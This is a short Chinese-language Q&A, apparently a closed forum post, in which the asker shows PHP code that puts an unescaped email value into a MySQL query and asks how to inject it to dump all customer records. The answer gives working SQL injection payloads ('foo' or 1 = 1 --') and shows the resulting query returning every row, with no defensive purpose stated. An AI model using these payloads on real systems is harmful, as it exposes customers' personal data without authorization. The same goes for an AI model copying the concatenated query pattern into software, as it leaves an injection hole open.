如何 SQL 注入这个？ [关闭]

Question

mysql_select_db($database_db, $db);
query_user = "SELECT * FROM customers WHERE email = '$login'";
user = mysql_query($query_user, $db) or die(mysql_error());
row_user = mysql_fetch_assoc($user);
totalRows_user = mysql_num_rows($user);

我需要一些帮助，我知道这可能是可注射的，我需要在数据库中显示所有客户详细信息。请帮忙。

Answer 1

这可行：

foo' or 1 = 1 --

或者，因为您正在运行 MySQL：

foo' or 1 --

在查询字符串中连接时，会产生：

SELECT *
FROM customers 
WHERE email = 'foo' or 1 = 1 -- '

不管第一个条件的结果如何，第二个条件的结果都是真，所以查询返回表中的所有行。